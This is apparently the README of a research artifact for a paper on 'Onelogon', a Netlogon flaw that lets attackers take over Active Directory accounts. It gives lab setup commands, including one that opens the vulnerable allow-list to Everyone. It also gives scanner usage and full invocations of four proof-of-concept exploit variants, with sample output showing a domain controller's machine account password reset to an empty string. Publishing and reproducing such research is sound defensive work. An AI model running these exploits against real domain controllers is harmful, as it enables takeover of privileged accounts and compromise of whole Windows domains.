
Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
Este repositorio contiene el código y los datos que acompañan a nuestro artículo Onelogon: Tomando el control de cuentas de Active Directory mediante Netlogon (WOOT'26).
La vulnerabilidad descrita en nuestro artículo ataca una debilidad del parche criptográfico de 2020 para la vulnerabilidad Zerologon. Las cuentas incluidas en una directiva de grupo destinada a permitir la compatibilidad con configuraciones heredadas que no admiten la firma y el sellado de Netlogon son vulnerables a este ataque. Una descripción detallada de la vulnerabilidad, la cadena de ataque completa esperada y las posibles mitigaciones se pueden encontrar en el artículo.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
El artefacto consiste en un proyecto de Python poetry para el escáner y los exploits.
Para ejecutar los scripts incluidos en el artefacto, instale Python (3.12 o posterior) y poetry (instrucciones) o uv (instrucciones). Por simplicidad, enumeramos los comandos asumiendo que se usa poetry; si prefiere usar uv, basta con reemplazar cualquier mención de poetry por uv.
Todos los comandos de este documento deben ejecutarse en el directorio raíz del artefacto (donde se encuentra este README).
Si se usa poetry, ejecute poetry install para instalar todas las dependencias.
Para reproducir los resultados del artículo, puede configurar un controlador de dominio con una versión de Windows Server que tenga corregido Zerologon (hemos verificado el exploit contra las versiones 2019 y 2025).
Para configurar el controlador de dominio en una instalación nueva de Windows Server 2025, ejecute los siguientes comandos:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
La vulnerabilidad se aplica a cualquier cuenta incluida en la DACL del objeto de directiva de grupo Controlador de dominio: Permitir conexiones vulnerables de canal seguro de Netlogon o en la clave de registro correspondiente:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
Puede configurar manualmente estos parámetros en el controlador de dominio (recuerde ejecutar gpupdate /force si actualiza la entrada de GPO), o ejecutar el siguiente comando para agregar todas las cuentas a la DACL en la clave de registro:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
Para determinar qué cuentas enumera un controlador de dominio en su VulnerableChannelAllowList, proporcionamos un escáner que analiza el subárbol del registro y el recurso compartido de volumen de GPO del controlador de dominio. Tenga en cuenta que acceder al registro para este escaneo requiere privilegios de administrador de dominio (el exploit, por supuesto, no los requiere).
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
Un resultado de escaneo positivo (hay cuentas vulnerables en el controlador de dominio) mostrará el descriptor de seguridad que contiene las cuentas vulnerables (en el lenguaje de definición de descriptores de seguridad de Microsoft):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
Un resultado negativo (el controlador de dominio objetivo no es vulnerable) tendrá este aspecto:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
Para ejecutar el exploit de prueba de concepto contra un controlador de dominio objetivo, seleccione primero una cuenta vulnerable. Necesitará la dirección IP del controlador de dominio, su nombre de host y el nombre de la cuenta vulnerable.
En nuestra configuración de ejemplo, el controlador de dominio vulnerable se llama DC. Su cuenta de máquina (DC$) está incluida en la directiva GPO y, por lo tanto, es vulnerable a Onelogon.
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
Como ilustración, proporcionamos la salida de una ejecución exitosa del ataque meet-in-the-middle contra un entorno de prueba:
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
Para reproducir las mediciones de la Tabla 1 del artículo, ejecute los cuatro exploits descritos en la sección anterior.
Puede obtener el tiempo de ataque esperado sin completar el ataque completo, lo que sería prohibitivamente costoso para los enfoques ingenuos.
La velocidad de la fuerza bruta de 32 bits, que espera a que se agote el tiempo de expiración, está limitada por el período de validez de los desafíos del cliente. Un ciclo completo (en el que se pueden procesar 100 000 desafíos) tarda entonces 120 segundos (el tiempo de expiración para que se vacíe la lista de desafíos). Por lo tanto, el tiempo de ataque esperado es siempre $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.
Para los ataques que usan una cuenta de equipo (tanto el ataque de 32 bits como el de 24 bits), tome el tiempo promedio por intento $t$ de la sección TOTAL STATS de la salida. El ataque de 32 bits necesita en promedio $2^{31}$ intentos (para un tiempo total esperado de $2^{31}t$). De manera similar, la duración esperada del ataque de 24 bits es $2^{23}t$.
Para el enfoque meet-in-the-middle, no podemos probar todas las credenciales de cliente posibles dentro del tiempo de expiración de los desafíos de 120 segundos. En su lugar, el tiempo esperado del ataque viene determinado por cuántos intentos de autenticación podemos realizar dentro de ese plazo. Para obtener esta cifra, tome el número promedio de intentos por ciclo $a$ de la sección TOTAL STATS de la salida. Dado que necesitamos en promedio $2^{15}$ intentos de autenticación para obtener una tasa de éxito del 50 %, el tiempo de ataque esperado es simplemente $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$
Los tiempos exactos obtenidos dependerán de la configuración exacta de hardware y software.